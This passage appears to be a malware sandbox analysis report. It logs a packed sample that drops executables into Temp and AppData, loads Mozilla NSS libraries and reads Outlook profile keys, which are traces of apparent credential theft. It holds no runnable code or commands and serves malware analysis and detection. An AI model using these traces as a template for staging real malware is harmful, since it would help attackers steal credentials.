Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6108 --field-trial-handle=2840,i,12003501403383072226,2430536015777904389,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6108 --field-trial-handle=2840,i,12003501403383072226,2430536015777904389,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=1160,i,17042684596641100279,13993029759771197311,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1684 --field-trial-handle=2064,i,2036512315538271588,12735040485945945240,262144 /prefetch:3

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe	Section loaded: wldp.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1909248 > 1048576

Source: file.exe

Static PE information: Raw size of gmovqjaa is bigger than: 0x100000 < 0x1a0a00

Source:	Binary string: mozglue.pdbP source: eb98fe5174.exe, 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmp, mozglue.dll.7.dr, mozglue[1].dll.7.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.7.dr, freebl3[1].dll.7.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.7.dr, freebl3[1].dll.7.dr
Source:	Binary string: nss3.pdb@ source: eb98fe5174.exe, 00000007.00000002.2670979145.000000006CB0F000.00000002.00000001.01000000.0000000E.sdmp, nss3[1].dll.7.dr, nss3.dll.7.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.7.dr, softokn3.dll.7.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.7.dr, vcruntime140[1].dll.7.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.7.dr, msvcp140[1].dll.7.dr
Source:	Binary string: nss3.pdb source: eb98fe5174.exe, 00000007.00000002.2670979145.000000006CB0F000.00000002.00000001.01000000.0000000E.sdmp, nss3[1].dll.7.dr, nss3.dll.7.dr
Source:	Binary string: mozglue.pdb source: eb98fe5174.exe, 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmp, mozglue.dll.7.dr, mozglue[1].dll.7.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.7.dr, softokn3.dll.7.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.af0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;gmovqjaa:EW;bqoswyio:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;gmovqjaa:EW;bqoswyio:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 1.2.explorti.exe.af0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;gmovqjaa:EW;bqoswyio:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;gmovqjaa:EW;bqoswyio:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 2.2.explorti.exe.af0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;gmovqjaa:EW;bqoswyio:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;gmovqjaa:EW;bqoswyio:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 6.2.explorti.exe.af0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;gmovqjaa:EW;bqoswyio:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;gmovqjaa:EW;bqoswyio:EW;.taggant:EW;
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Unpacked PE file: 7.2.eb98fe5174.exe.660000.0.unpack :EW;.rsrc :W;.idata :W; :EW;ylafldxq:EW;tgmwlthu:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;ylafldxq:EW;tgmwlthu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Unpacked PE file: 8.2.53c7d901f1.exe.490000.0.unpack :EW;.rsrc :W;.idata :W; :EW;ylafldxq:EW;tgmwlthu:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;ylafldxq:EW;tgmwlthu:EW;.taggant:EW;

Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe

Code function: 7_2_6C8D3480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

7_2_6C8D3480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x1b4fd3 should be: 0x1b1c60
Source: 53c7d901f1.exe.6.dr	Static PE information: real checksum: 0x1b4fd3 should be: 0x1b1c60
Source: explorti.exe.0.dr	Static PE information: real checksum: 0x1df7dc should be: 0x1dd49d
Source: eb98fe5174.exe.6.dr	Static PE information: real checksum: 0x1b4fd3 should be: 0x1b1c60
Source: file.exe	Static PE information: real checksum: 0x1df7dc should be: 0x1dd49d

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: gmovqjaa
Source: file.exe	Static PE information: section name: bqoswyio
Source: file.exe	Static PE information: section name: .taggant
Source: explorti.exe.0.dr	Static PE information: section name:
Source: explorti.exe.0.dr	Static PE information: section name: .idata
Source: explorti.exe.0.dr	Static PE information: section name:
Source: explorti.exe.0.dr	Static PE information: section name: gmovqjaa
Source: explorti.exe.0.dr	Static PE information: section name: bqoswyio
Source: explorti.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: ylafldxq
Source: random[1].exe.6.dr	Static PE information: section name: tgmwlthu
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: eb98fe5174.exe.6.dr	Static PE information: section name:
Source: eb98fe5174.exe.6.dr	Static PE information: section name: .rsrc
Source: eb98fe5174.exe.6.dr	Static PE information: section name: .idata
Source: eb98fe5174.exe.6.dr	Static PE information: section name:
Source: eb98fe5174.exe.6.dr	Static PE information: section name: ylafldxq
Source: eb98fe5174.exe.6.dr	Static PE information: section name: tgmwlthu
Source: eb98fe5174.exe.6.dr	Static PE information: section name: .taggant
Source: 53c7d901f1.exe.6.dr	Static PE information: section name:
Source: 53c7d901f1.exe.6.dr	Static PE information: section name: .rsrc
Source: 53c7d901f1.exe.6.dr	Static PE information: section name: .idata
Source: 53c7d901f1.exe.6.dr	Static PE information: section name:
Source: 53c7d901f1.exe.6.dr	Static PE information: section name: ylafldxq
Source: 53c7d901f1.exe.6.dr	Static PE information: section name: tgmwlthu
Source: 53c7d901f1.exe.6.dr	Static PE information: section name: .taggant
Source: freebl3.dll.7.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.7.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.7.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.7.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.7.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.7.dr	Static PE information: section name: .didat
Source: nss3.dll.7.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.7.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.7.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.7.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00B0D84C push ecx; ret		6_2_00B0D85F
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C90B536 push ecx; ret		7_2_6C90B549

Source: file.exe	Static PE information: section name: entropy: 7.97875321730639
Source: file.exe	Static PE information: section name: gmovqjaa entropy: 7.954088444564839
Source: explorti.exe.0.dr	Static PE information: section name: entropy: 7.97875321730639
Source: explorti.exe.0.dr	Static PE information: section name: gmovqjaa entropy: 7.954088444564839
Source: random[1].exe.6.dr	Static PE information: section name: ylafldxq entropy: 7.952660090693873
Source: eb98fe5174.exe.6.dr	Static PE information: section name: ylafldxq entropy: 7.952660090693873
Source: 53c7d901f1.exe.6.dr	Static PE information: section name: ylafldxq entropy: 7.952660090693873

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
